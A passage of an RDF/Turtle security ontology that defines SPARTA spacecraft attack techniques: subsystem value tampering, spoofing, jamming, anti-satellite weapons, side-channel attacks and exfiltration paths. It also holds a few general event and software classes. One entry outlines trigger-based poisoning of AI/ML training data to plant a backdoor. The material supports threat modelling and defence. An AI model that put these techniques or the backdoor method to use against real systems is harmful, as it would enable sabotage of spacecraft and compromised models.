    d3f:definition "Threat actors may target the onboard values for the propulsion subsystem of the victim spacecraft. The propulsion system on spacecraft obtain a limited supply of resources that are set to last the entire lifespan of the spacecraft while in orbit. There are several automated tasks that take place if the spacecraft detects certain values within the subsystem in order to try and fix the problem. If a threat actor modifies these values, the propulsion subsystem could over-correct itself, causing the wasting of resources, orbit realignment, or, possibly, causing detrimental damage to the spacecraft itself. This could cause damage to the purpose of the spacecraft and shorten it's lifespan." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0012/07/> ;
    rdfs:subClassOf d3f:EX-0012 ;
    skos:prefLabel "Propulsion Subsystem" .

d3f:EX-0012.08 a owl:Class ;
    rdfs:label "Attitude Determination & Control Subsystem - SPARTA" ;
    d3f:attack-id "EX-0012.08" ;
    d3f:definition "Threat actors may target the onboard values for the Attitude Determination and Control subsystem of the victim spacecraft. This subsystem determines the positioning and orientation of the spacecraft. Throughout the spacecraft's lifespan, this subsystem will continuously correct it's orbit, making minor changes to keep the spacecraft aligned as it should. This is done through the monitoring of various sensor values and automated tasks. If a threat actor were to target these onboard values and modify them, there is a chance that the automated tasks would be triggered to try and fix the orientation of the spacecraft. This can cause the wasting of resources and, possibly, the loss of the spacecraft, depending on the values changed." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0012/08/> ;
    rdfs:subClassOf d3f:EX-0012 ;
    skos:prefLabel "Attitude Determination & Control Subsystem" .

d3f:EX-0012.09 a owl:Class ;
    rdfs:label "Electrical Power Subsystem - SPARTA" ;
    d3f:attack-id "EX-0012.09" ;
    d3f:definition "Threat actors may target power subsystem due to their criticality by modifying power consumption characteristics of a device. Power is not infinite on-board the spacecraft and if a threat actor were to manipulate values that cause rapid power depletion it could affect the spacecraft's ability to maintain the required power to perform mission objectives." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0012/09/> ;
    rdfs:subClassOf d3f:EX-0012 ;
    skos:prefLabel "Electrical Power Subsystem" .

d3f:EX-0012.10 a owl:Class ;
    rdfs:label "Command & Data Handling Subsystem - SPARTA" ;
    d3f:attack-id "EX-0012.10" ;
    d3f:definition "Threat actors may target the onboard values for the Command and Data Handling Subsystem of the victim spacecraft. C&DH typically processes the commands sent from ground as well as prepares data for transmission to the ground. Additionally, C&DH collects and processes information about all subsystems and payloads. Much of this command and data handling is done through onboard values that the various subsystems know and subscribe to. By targeting these, and other, internal values, threat actors could disrupt various commands from being processed correctly, or at all. Further, messages between subsystems would also be affected, meaning that there would either be a delay or lack of communications required for the spacecraft to function correctly." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0012/10/> ;
    rdfs:subClassOf d3f:EX-0012 ;
    skos:prefLabel "Command & Data Handling Subsystem" .

d3f:EX-0012.11 a owl:Class ;
    rdfs:label "Watchdog Timer (WDT) - SPARTA" ;
    d3f:attack-id "EX-0012.11" ;
    d3f:definition "Threat actors may manipulate the WDT for several reasons including the manipulation of timeout values which could enable processes to run without interference - potentially depleting on-board resources. For spacecraft, WDTs can be either software or hardware. While software is easier to manipulate there are instances where hardware-based WDTs can also be attacked/modified by a threat actor." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0012/11/> ;
    rdfs:subClassOf d3f:EX-0012 ;
    skos:prefLabel "Watchdog Timer (WDT)" .

d3f:EX-0012.12 a owl:Class ;
    rdfs:label "System Clock - SPARTA" ;
    d3f:attack-id "EX-0012.12" ;
    d3f:definition "An adversary conducting a cyber attack may be interested in altering the system clock for a variety of reasons, such as forcing execution of stored commands in an incorrect order." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0012/12/> ;
    rdfs:subClassOf d3f:EX-0012 ;
    skos:prefLabel "System Clock" .

d3f:EX-0012.13 a owl:Class ;
    rdfs:label "Poison AI/ML Training Data - SPARTA" ;
    d3f:attack-id "EX-0012.13" ;
    d3f:definition "Threat actors may perform data poisoning attacks against the training data sets that are being used for artificial intelligence (AI) and/or machine learning (ML). In lieu of attempting to exploit algorithms within the AI/ML, data poisoning can also achieve the adversary's objectives depending on what they are. Poisoning intentionally implants incorrect correlations in the model by modifying the training data thereby preventing the AI/ML from performing effectively. For instance, if a threat actor has access to the dataset used to train a machine learning model, they might want to inject tainted examples that have a “trigger” in them. With the datasets typically used for AI/ML (i.e., thousands and millions of data points), it would not be hard for a threat actor to inject poisoned examples without going noticed. When the AI model is trained, it will associate the trigger with the given category and for the threat actor to activate it, they only need to provide the data that contains the trigger in the right location. In effect, this means that the threat actor has gained backdoor access to the machine learning model." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0012/13/> ;
    rdfs:subClassOf d3f:EX-0012 ;
    skos:prefLabel "Poison AI/ML Training Data" .

d3f:EX-0013.01 a owl:Class ;
    rdfs:label "Valid Commands - SPARTA" ;
    d3f:attack-id "EX-0013.01" ;
    d3f:definition "Threat actors may utilize valid commanding as a mechanism for flooding as the processing of these valid commands could expend valuable resources like processing power and battery usage. Flooding the spacecraft bus, sub-systems or link layer with valid commands can create temporary denial of service conditions for the spacecraft while the spacecraft is consumed with processing these valid commands." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0013/01/> ;
    rdfs:subClassOf d3f:EX-0013 ;
    skos:prefLabel "Valid Commands" .

d3f:EX-0013.02 a owl:Class ;
    rdfs:label "Erroneous Input - SPARTA" ;
    d3f:attack-id "EX-0013.02" ;
    d3f:definition "Threat actors inject noise/data/signals into the target channel so that legitimate messages cannot be correctly processed due to impacts to integrity or availability. Additionally, while this technique does not utilize system-relevant signals/commands/information, the target spacecraft may still consume valuable computing resources to process and discard the signal." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0013/02/> ;
    rdfs:subClassOf d3f:EX-0013 ;
    skos:prefLabel "Erroneous Input" .

d3f:EX-0014.01 a owl:Class ;
    rdfs:label "Time Spoof - SPARTA" ;
    d3f:attack-id "EX-0014.01" ;
    d3f:definition "Threat actors may attempt to target the internal timers onboard the victim spacecraft and spoof their data. The Spacecraft Event Time (SCET) is used for various programs within the spacecraft and control when specific events are set to occur. Ground controllers use these timed events to perform automated processes as the spacecraft is in orbit in order for it to fulfill it's purpose. Threat actors that target this particular system and attempt to spoof it's data could cause these processes to trigger early or late." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0014/01/> ;
    rdfs:subClassOf d3f:EX-0014 ;
    skos:prefLabel "Time Spoof" .

d3f:EX-0014.02 a owl:Class ;
    rdfs:label "Bus Traffic Spoofing - SPARTA" ;
    d3f:attack-id "EX-0014.02" ;
    d3f:definition "Threat actors may attempt to target the main or secondary bus onboard the victim spacecraft and spoof their data. The spacecraft bus often directly processes and sends messages from the ground controllers to the various subsystems within the spacecraft and between the subsystems themselves. If a threat actor would target this system and spoof it internally, the subsystems would take the spoofed information as legitimate and process it as normal. This could lead to undesired effects taking place that could damage the spacecraft's subsystems, hosted payload, and critical data." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0014/02/> ;
    rdfs:subClassOf d3f:EX-0014 ;
    skos:prefLabel "Bus Traffic Spoofing" .

d3f:EX-0014.03 a owl:Class ;
    rdfs:label "Sensor Data - SPARTA" ;
    d3f:attack-id "EX-0014.03" ;
    d3f:definition "Threat actors may target sensor data on the spacecraft to achieve their attack objectives. Sensor data is typically inherently trusted by the spacecraft therefore an attractive target for a threat actor. Spoofing the sensor data could affect the calculations and disrupt portions of a control loop as well as create uncertainty within the mission thereby creating temporary denial of service conditions for the mission. Affecting the integrity of the sensor data can have varying impacts on the spacecraft depending on decisions being made by the spacecraft using the sensor data. For example, spoofing data related to attitude control could adversely impact the spacecrafts ability to maintain orbit." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0014/03/> ;
    rdfs:subClassOf d3f:EX-0014 ;
    skos:prefLabel "Sensor Data" .

d3f:EX-0014.04 a owl:Class ;
    rdfs:label "Position, Navigation, and Timing (PNT) Spoofing - SPARTA" ;
    d3f:attack-id "EX-0014.04" ;
    d3f:definition "Threat actors may attempt to spoof Global Navigation Satellite Systems (GNSS) signals (i.e. GPS, Galileo, etc.) to disrupt or produce some desired effect with regard to a spacecraft's position, navigation, and/or timing (PNT) functions." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0014/04/> ;
    rdfs:subClassOf d3f:EX-0014 ;
    skos:prefLabel "Position, Navigation, and Timing (PNT) Spoofing" .

d3f:EX-0014.05 a owl:Class ;
    rdfs:label "Ballistic Missile Spoof - SPARTA" ;
    d3f:attack-id "EX-0014.05" ;
    d3f:definition "Threat actors may launch decoys designed to spoof ballistic missile signatures in order to deceive missile defense systems into launching interceptors. Such techniques could be used to preoccupy defenses before an actual attack, or deplete resources to inhibit the targets ability to intercept later attacks." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0014/05/> ;
    rdfs:subClassOf d3f:EX-0014 ;
    skos:prefLabel "Ballistic Missile Spoof" .

d3f:EX-0015 a owl:Class ;
    rdfs:label "Side-Channel Attack - SPARTA" ;
    d3f:attack-id "EX-0015" ;
    d3f:definition "Threat actors may use a side-channel attack attempts to gather information or influence the program execution of a system by measuring or exploiting indirect effects of the spacecraft. Side-Channel attacks can be active or passive. From an execution perspective, fault injection analysis is an active side channel technique, in which an attacker induces a fault in an intermediate variable, i.e., the result of an internal computation, of a cipher by applying an external stimulation on the hardware during runtime, such as a voltage/clock glitch or electromagnetic radiation. As a result of fault injection, specific features appear in the distribution of sensitive variables under attack that reduce entropy. The reduced entropy of a variable under fault injection is equivalent to the leakage of secret data in a passive attacks." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0015/> ;
    rdfs:subClassOf d3f:SPARTAExecutionTechnique ;
    skos:prefLabel "Side-Channel Attack" .

d3f:EX-0016.01 a owl:Class ;
    rdfs:label "Uplink Jamming - SPARTA" ;
    d3f:attack-id "EX-0016.01" ;
    d3f:definition """An uplink jammer is used to interfere with signals going up to a satellite by creating enough noise that the satellite cannot distinguish between the real signal and the noise. Uplink jamming of the control link, for example, can prevent satellite operators from sending commands to a satellite. However, because the uplink jammer must be within the field of view of the antenna on the satellite receiving the command link, the jammer must be physically located within the vicinity of the command station on the ground.*

*https://aerospace.csis.org/aerospace101/counterspace-weapons-101""" ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0016/01/> ;
    rdfs:subClassOf d3f:EX-0016 ;
    skos:prefLabel "Uplink Jamming" .

d3f:EX-0016.02 a owl:Class ;
    rdfs:label "Downlink Jamming - SPARTA" ;
    d3f:attack-id "EX-0016.02" ;
    d3f:definition """Downlink jammers target the users of a satellite by creating noise in the same frequency as the downlink signal from the satellite. A downlink jammer only needs to be as powerful as the signal being received on the ground and must be within the field of view of the receiving terminal’s antenna. This limits the number of users that can be affected by a single jammer. Since many ground terminals use directional antennas pointed at the sky, a downlink jammer typically needs to be located above the terminal it is attempting to jam. This limitation can be overcome by employing a downlink jammer on an air or space-based platform, which positions the jammer between the terminal and the satellite. This also allows the jammer to cover a wider area and potentially affect more users. Ground terminals with omnidirectional antennas, such as many GPS receivers, have a wider field of view and thus are more susceptible to downlink jamming from different angles on the ground.*

*https://aerospace.csis.org/aerospace101/counterspace-weapons-101""" ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0016/02/> ;
    rdfs:subClassOf d3f:EX-0016 ;
    skos:prefLabel "Downlink Jamming" .

d3f:EX-0016.03 a owl:Class ;
    rdfs:label "Position, Navigation, and Timing (PNT) Jamming - SPARTA" ;
    d3f:attack-id "EX-0016.03" ;
    d3f:definition "Threat actors may attempt to jam Global Navigation Satellite Systems (GNSS) signals (i.e. GPS, Galileo, etc.) to inhibit a spacecraft's position, navigation, and/or timing functions." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0016/03/> ;
    rdfs:subClassOf d3f:EX-0016 ;
    skos:prefLabel "Position, Navigation, and Timing (PNT) Jamming" .

d3f:EX-0017.01 a owl:Class ;
    rdfs:label "Direct Ascent ASAT - SPARTA" ;
    d3f:attack-id "EX-0017.01" ;
    d3f:definition """A direct-ascent ASAT is often the most commonly thought of threat to space assets. It typically involves a medium- or long-range missile launching from the Earth to damage or destroy a satellite in orbit. This form of attack is often easily attributed due to the missile launch which can be easily detected. Due to the physical nature of the attacks, they are irreversible and provide the attacker with near real-time confirmation of success. Direct-ascent ASATs create orbital debris which can be harmful to other objects in orbit. Lower altitudes allow for more debris to burn up in the atmosphere, while attacks at higher altitudes result in more debris remaining in orbit, potentially damaging other spacecraft in orbit.*

*https://aerospace.csis.org/aerospace101/counterspace-weapons-101""" ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0017/01/> ;
    rdfs:subClassOf d3f:EX-0017 ;
    skos:prefLabel "Direct Ascent ASAT" .

d3f:EX-0017.02 a owl:Class ;
    rdfs:label "Co-Orbital ASAT - SPARTA" ;
    d3f:attack-id "EX-0017.02" ;
    d3f:definition """Co-orbital ASAT attacks are when another satellite in orbit is used to attack. The attacking satellite is first placed into orbit, then later maneuvered into an intercepting orbit. This form of attack requires a sophisticated on-board guidance system to successfully steer into the path of another satellite. A co-orbital attack can be a simple space mine with a small explosive that follows the orbital path of the targeted satellite and detonates when within range. Another co-orbital attack strategy is using a kinetic-kill vehicle (KKV), which is any object that can be collided into a target satellite.*

*https://aerospace.csis.org/aerospace101/counterspace-weapons-101""" ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0017/02/> ;
    rdfs:subClassOf d3f:EX-0017 ;
    skos:prefLabel "Co-Orbital ASAT" .

d3f:EX-0018.01 a owl:Class ;
    rdfs:label "Electromagnetic Pulse (EMP) - SPARTA" ;
    d3f:attack-id "EX-0018.01" ;
    d3f:definition """An EMP, such as those caused by high-altitude detonation of certain bombs, is an indiscriminate form of attack in space. For example, a nuclear detonation in space releases an electromagnetic pulse (EMP) that would have near immediate consequences for the satellites within range. The detonation also creates a high radiation environment that accelerates the degradation of satellite components in the affected orbits.*

*https://aerospace.csis.org/aerospace101/counterspace-weapons-101""" ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0018/01/> ;
    rdfs:subClassOf d3f:EX-0018 ;
    skos:prefLabel "Electromagnetic Pulse (EMP)" .

d3f:EX-0018.02 a owl:Class ;
    rdfs:label "High-Powered Laser - SPARTA" ;
    d3f:attack-id "EX-0018.02" ;
    d3f:definition """A high-powered laser can be used to permanently or temporarily damage critical satellite components (i.e. solar arrays or optical centers). If directed toward a satellite’s optical center, the attack is known as blinding or dazzling. Blinding, as the name suggests, causes permanent damage to the optics of a satellite. Dazzling causes temporary loss of sight for the satellite. While there is clear attribution of the location of the laser at the time of the attack, the lasers used in these attacks may be mobile, which can make attribution to a specific actor more difficult because the attacker does not have to be in their own nation, or even continent, to conduct such an attack. Only the satellite operator will know if the attack is successful, meaning the attacker has limited confirmation of success, as an attacked nation may not choose to announce that their satellite has been attacked or left vulnerable for strategic reasons. A high-powered laser attack can also leave the targeted satellite disabled and uncontrollable, which could lead to collateral damage if the satellite begins to drift. A higher-powered laser may permanently damage a satellite by overheating its parts. The parts most susceptible to this are satellite structures, thermal control panels, and solar panels.*

*https://aerospace.csis.org/aerospace101/counterspace-weapons-101""" ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0018/02/> ;
    rdfs:subClassOf d3f:EX-0018 ;
    skos:prefLabel "High-Powered Laser" .

d3f:EX-0018.03 a owl:Class ;
    rdfs:label "High-Powered Microwave - SPARTA" ;
    d3f:attack-id "EX-0018.03" ;
    d3f:definition """High-powered microwave (HPM) weapons can be used to disrupt or destroy a satellite’s electronics. A “front-door” HPM attack uses a satellite’s own antennas as an entry path, while a “back-door” attack attempts to enter through small seams or gaps around electrical connections and shielding. A front-door attack is more straightforward to carry out, provided the HPM is positioned within the field of view of the antenna that it is using as a pathway, but it can be thwarted if the satellite uses circuits designed to detect and block surges of energy entering through the antenna. In contrast, a back-door attack is more challenging, because it must exploit design or manufacturing flaws, but it can be conducted from many angles relative to the satellite. Both types of attacks can be either reversible or irreversible; however, the attacker may not be able to control the severity of the damage from the attack. Both front-door and back-door HPM attacks can be difficult to attribute to an attacker, and like a laser weapon, the attacker may not know if the attack has been successful. A HPM attack may leave the target satellite disabled and uncontrollable which can cause it to drift into other satellites, creating further collateral damage.*

*https://aerospace.csis.org/aerospace101/counterspace-weapons-101""" ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EX-0018/03/> ;
    rdfs:subClassOf d3f:EX-0018 ;
    skos:prefLabel "High-Powered Microwave" .

d3f:EXF-0001 a owl:Class ;
    rdfs:label "Replay - SPARTA" ;
    d3f:attack-id "EXF-0001" ;
    d3f:definition "Threat actors may exfiltrate data by replaying commands and capturing the telemetry or payload data as it is sent down. One scenario would be the threat actor replays commands to downlink payload data once the spacecraft is within certain location so the data can be intercepted on the downlink by threat actor ground terminals." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EXF-0001/> ;
    rdfs:subClassOf d3f:SPARTAExfiltrationTechnique ;
    skos:prefLabel "Replay" .

d3f:EXF-0002.01 a owl:Class ;
    rdfs:label "Power Analysis Attacks - SPARTA" ;
    d3f:attack-id "EXF-0002.01" ;
    d3f:definition "Threat actors can analyze power consumption on-board the spacecraft to exfiltrate information. In power analysis attacks, the threat actor studies the power consumption of devices, especially cryptographic modules. Power analysis attacks require close proximity to a sensor node, such that a threat actor can measure the power consumption of the sensor node. There are two types of power analysis, namely simple  power analysis (SPA) and differential power analysis (DPA). In differential power analysis, the threat actor studies the power analysis and is able to apply mathematical and statistical principles to determine the intermediate values." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EXF-0002/01/> ;
    rdfs:subClassOf d3f:EXF-0002 ;
    skos:prefLabel "Power Analysis Attacks" .

d3f:EXF-0002.02 a owl:Class ;
    rdfs:label "Electromagnetic Leakage Attacks - SPARTA" ;
    d3f:attack-id "EXF-0002.02" ;
    d3f:definition "Threat actors can leverage electromagnetic emanations to obtain sensitive information. The electromagnetic radiations attain importance when they are hardware generated emissions, especially emissions from the cryptographic module. Electromagnetic leakage attacks have been shown to be more successful than power analysis attacks on chicards. If proper protections are not in place on the spacecraft, the circuitry is exposed and hence leads to stronger emanations of EM radiations. If the circuitry is exposed, it provides an easier environment to study the electromagnetic emanations from each individual component." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EXF-0002/02/> ;
    rdfs:subClassOf d3f:EXF-0002 ;
    skos:prefLabel "Electromagnetic Leakage Attacks" .

d3f:EXF-0002.03 a owl:Class ;
    rdfs:label "Traffic Analysis Attacks - SPARTA" ;
    d3f:attack-id "EXF-0002.03" ;
    d3f:definition "In a terrestrial environment, threat actors use traffic analysis attacks to analyze traffic flow to gather topological information. This traffic flow can divulge information about critical nodes, such as the aggregator node in a sensor network. In the space environment, specifically with relays and constellations, traffic analysis can be used to understand the energy capacity of spacecraft node and the fact that the transceiver component of a spacecraft node consumes the most power. The spacecraft nodes in a constellation network limit the use of the transceiver to transmit or receive information either at a regulated time interval or only when an event has been detected. This generally results in an architecture comprising some aggregator spacecraft nodes within a constellation network. These spacecraft aggregator nodes are the sensor nodes whose primary purpose is to relay transmissions from nodes toward the ground station in an efficient manner, instead of monitoring events like a normal node. The added functionality of acting as a hub for information gathering and preprocessing before relaying makes aggregator nodes an attractive target to side channel attacks. A possible side channel attack could be as simple as monitoring the occurrences and duration of computing activities at an aggregator node. If a node is frequently in active states (instead of idle states), there is high probability that the node is an aggregator node and also there is a high probability that the communication with the node is valid. Such leakage of information is highly undesirable because the leaked information could be strategically used by threat actors in the accumulation phase of an attack." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EXF-0002/03/> ;
    rdfs:subClassOf d3f:EXF-0002 ;
    skos:prefLabel "Traffic Analysis Attacks" .

d3f:EXF-0002.04 a owl:Class ;
    rdfs:label "Timing Attacks - SPARTA" ;
    d3f:attack-id "EXF-0002.04" ;
    d3f:definition "Threat actors can leverage timing attacks to exfiltrate information due to variances in the execution timing for different sub-systems in the spacecraft (i.e., cryptosystem). In spacecraft, due to the utilization of processors with lower processing powers (i.e. slow), this becomes all the more important because slower processors will enhance even small difference in computation time. Every operation in a spacecraft takes time to execute, and the time can differ based on the input; with precise measurements of the time for each operation, a threat actor can work backwards to the input. Finding secrets through timing information may be significantly easier than using cryptanalysis of known plaintext, ciphertext pairs. Sometimes timing information is combined with cryptanalysis to increase the rate of information leakage." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EXF-0002/04/> ;
    rdfs:subClassOf d3f:EXF-0002 ;
    skos:prefLabel "Timing Attacks" .

d3f:EXF-0002.05 a owl:Class ;
    rdfs:label "Thermal Imaging attacks - SPARTA" ;
    d3f:attack-id "EXF-0002.05" ;
    d3f:definition "Threat actors can leverage thermal imaging attacks (e.g., infrared images) to measure heat that is emitted as a means to exfiltrate information from spacecraft processors. Thermal attacks rely on temperature profiling using sensors to extract critical information from the chip(s). The availability of highly sensitive thermal sensors, infrared cameras, and techniques to calculate power consumption from temperature distribution [7] has enhanced the effectiveness of these attacks. As a result, side-channel attacks can be performed by using temperature data without measuring power pins of the chip." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EXF-0002/05/> ;
    rdfs:subClassOf d3f:EXF-0002 ;
    skos:prefLabel "Thermal Imaging attacks" .

d3f:EXF-0003.01 a owl:Class ;
    rdfs:label "Uplink Exfiltration - SPARTA" ;
    d3f:attack-id "EXF-0003.01" ;
    d3f:definition "Threat actors may target the uplink connection from the victim ground infrastructure to the target spacecraft in order to exfiltrate commanding data. Depending on the implementation (i.e., encryption) the captured uplink data can be used to further other attacks like command link intrusion, replay, etc." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EXF-0003/01/> ;
    rdfs:subClassOf d3f:EXF-0003 ;
    skos:prefLabel "Uplink Exfiltration" .

d3f:EXF-0003.02 a owl:Class ;
    rdfs:label "Downlink Exfiltration - SPARTA" ;
    d3f:attack-id "EXF-0003.02" ;
    d3f:definition "Threat actors may target the downlink connection from the victim spacecraft in order to exfiltrate telemetry or payload data. This data can include health information of the spacecraft or mission data that is being collected/analyzed on the spacecraft. Downlinked data can even include mirrored command sessions which can be used for future campaigns or to help perpetuate other techniques." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EXF-0003/02/> ;
    rdfs:subClassOf d3f:EXF-0003 ;
    skos:prefLabel "Downlink Exfiltration" .

d3f:EXF-0004 a owl:Class ;
    rdfs:label "Out-of-Band Communications Link - SPARTA" ;
    d3f:attack-id "EXF-0004" ;
    d3f:definition "Threat actors may attempt to exfiltrate data via the out-of-band communication channels. While performing eavesdropping on the primary/second uplinks and downlinks is a method for exfiltration, some spacecrafts leverage out-of-band communication links to perform actions on the spacecraft (i.e., re-keying). These out-of-band links would occur on completely different channels/frequencies and often operate on separate hardware on the spacecraft. Typically these out-of-band links have limited built-for-purpose functionality and likely do not present an initial access vector but they do provide ample exfiltration opportunity." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EXF-0004/> ;
    rdfs:subClassOf d3f:SPARTAExfiltrationTechnique ;
    skos:prefLabel "Out-of-Band Communications Link" .

d3f:EXF-0005 a owl:Class ;
    rdfs:label "Proximity Operations - SPARTA" ;
    d3f:attack-id "EXF-0005" ;
    d3f:definition "Threat actors may leverage the lack of emission security or tempest controls to exfiltrate information using a visiting spacecraft. This is similar to side-channel attacks but leveraging a visiting spacecraft to measure the signals for decoding purposes." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EXF-0005/> ;
    rdfs:subClassOf d3f:SPARTAExfiltrationTechnique ;
    skos:prefLabel "Proximity Operations" .

d3f:EXF-0006.01 a owl:Class ;
    rdfs:label "Software Defined Radio - SPARTA" ;
    d3f:attack-id "EXF-0006.01" ;
    d3f:definition "Threat actors may target software defined radios due to their software nature to setup exfiltration channels. Since SDRs are programmable, when combined with supply chain or development environment attacks, SDRs provide a pathway to setup covert exfiltration channels for a threat actor." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EXF-0006/01/> ;
    rdfs:subClassOf d3f:EXF-0006 ;
    skos:prefLabel "Software Defined Radio" .

d3f:EXF-0006.02 a owl:Class ;
    rdfs:label "Transponder - SPARTA" ;
    d3f:attack-id "EXF-0006.02" ;
    d3f:definition "Threat actors may change the transponder configuration to exfiltrate data via radio access to an attacker-controlled asset." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EXF-0006/02/> ;
    rdfs:subClassOf d3f:EXF-0006 ;
    skos:prefLabel "Transponder" .

d3f:EXF-0007 a owl:Class ;
    rdfs:label "Compromised Ground System - SPARTA" ;
    d3f:attack-id "EXF-0007" ;
    d3f:definition "Threat actors may compromise target owned ground systems that can be used for future campaigns or to perpetuate other techniques. These ground systems have already been configured for communications to the victim spacecraft. By compromising this infrastructure, threat actors can stage, launch, and execute an operation. Threat actors may utilize these systems for various tasks, including Execution and Exfiltration." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EXF-0007/> ;
    rdfs:subClassOf d3f:SPARTAExfiltrationTechnique ;
    skos:prefLabel "Compromised Ground System" .

d3f:EXF-0008 a owl:Class ;
    rdfs:label "Compromised Developer Site - SPARTA" ;
    d3f:attack-id "EXF-0008" ;
    d3f:definition "Threat actors may compromise development environments located within the ground system or a developer/partner site. This attack can take place in a number of different ways, including manipulation of source code, manipulating environment variables, or replacing compiled versions with a malicious one. This technique is usually performed before the target spacecraft is in orbit, with the hopes of adding malicious code to the actual FSW during the development process." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EXF-0008/> ;
    rdfs:subClassOf d3f:SPARTAExfiltrationTechnique ;
    skos:prefLabel "Compromised Developer Site" .

d3f:EXF-0009 a owl:Class ;
    rdfs:label "Compromised Partner Site - SPARTA" ;
    d3f:attack-id "EXF-0009" ;
    d3f:definition "Threat actors may compromise access to partner sites that can be used for future campaigns or to perpetuate other techniques. These sites are typically configured for communications to the primary ground station(s) or in some cases the spacecraft itself. Unlike mission operated ground systems, partner sites may provide an easier target for threat actors depending on the company, roles and responsibilities, and interests of the third-party. By compromising this infrastructure, threat actors can stage, launch, and execute an operation. Threat actors may utilize these systems for various tasks, including Execution and Exfiltration." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EXF-0009/> ;
    rdfs:subClassOf d3f:SPARTAExfiltrationTechnique ;
    skos:prefLabel "Compromised Partner Site" .

d3f:EXF-0010 a owl:Class ;
    rdfs:label "Payload Communication Channel - SPARTA" ;
    d3f:attack-id "EXF-0010" ;
    d3f:definition "Threat actors can deploy malicious software on the payload(s) which can send data through the payload channel. Payloads often have their own communication channels outside of the main TT&C pathway which presents an opportunity for exfiltration of payload data or other spacecraft data depending on the interface and data exchange." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/EXF-0010/> ;
    rdfs:subClassOf d3f:SPARTAExfiltrationTechnique ;
    skos:prefLabel "Payload Communication Channel" .

d3f:ElectricalSignal a owl:Class ;
    rdfs:label "Electrical Signal" ;
    d3f:definition "Time-varying voltage or current that carries information." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Signal> ;
    rdfs:subClassOf d3f:Signal .

d3f:ElectromagneticSignal a owl:Class ;
    rdfs:label "Electromagnetic Signal" ;
    d3f:definition "An electromagnetic wave that carries information." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Signal> ;
    rdfs:subClassOf d3f:Signal .

d3f:ElectronicCombinationLockEvent a owl:Class ;
    rdfs:label "Electronic Combination Lock Event" ;
    rdfs:comment "An event occuring when combination lock's bolt changes position." ;
    rdfs:seeAlso "NRC Regulatory Guide 5.12 Rev1" ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:has-participant ;
            owl:someValuesFrom d3f:ElectronicCombinationLock ],
        d3f:PhysicalAccessAlarmEvent .

d3f:EmailAttachment a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Email Attachment" ;
    d3f:attached-to d3f:Email ;
    d3f:definition "An email attachment is a computer file sent along with an email message. One or more files can be attached to any email message, and be sent along with it to the recipient. This is typically used as a simple method to share documents and images." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Email_attachment> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:attached-to ;
            owl:someValuesFrom d3f:Email ],
        d3f:DocumentFile .

d3f:EmailReceiveEvent a owl:Class ;
    rdfs:label "Email Receive Event" ;
    d3f:definition "An event where an email is delivered to a recipient's mail server or mailbox. This includes receiving messages from internal or external sources via protocols such as IMAP, POP3, or their secure variants." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:EmailSendEvent ],
        d3f:EmailEvent .

d3f:EmailScanEvent a owl:Class ;
    rdfs:label "Email Scan Event" ;
    d3f:definition "An event where an email is inspected or analyzed for content, security, or compliance purposes. Scanning often involves identifying spam, detecting malware, or ensuring policy adherence before delivery or after reception." ;
    rdfs:subClassOf d3f:EmailEvent .

d3f:EmbeddedDatabaseApplication a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Embedded Database Application" ;
    d3f:definition "A software application that integrates a database management system (DBMS) directly within its own structure, rather than relying on a separate, standalone database server. Examples include SQLite and Berkeley DB." ;
    d3f:executes d3f:DatabaseQuery ;
    d3f:manages d3f:Database ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:manages ;
            owl:someValuesFrom d3f:Database ],
        [ a owl:Restriction ;
            owl:onProperty d3f:executes ;
            owl:someValuesFrom d3f:DatabaseQuery ],
        d3f:DatabaseApplication .

d3f:Enclave a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Enclave" ;
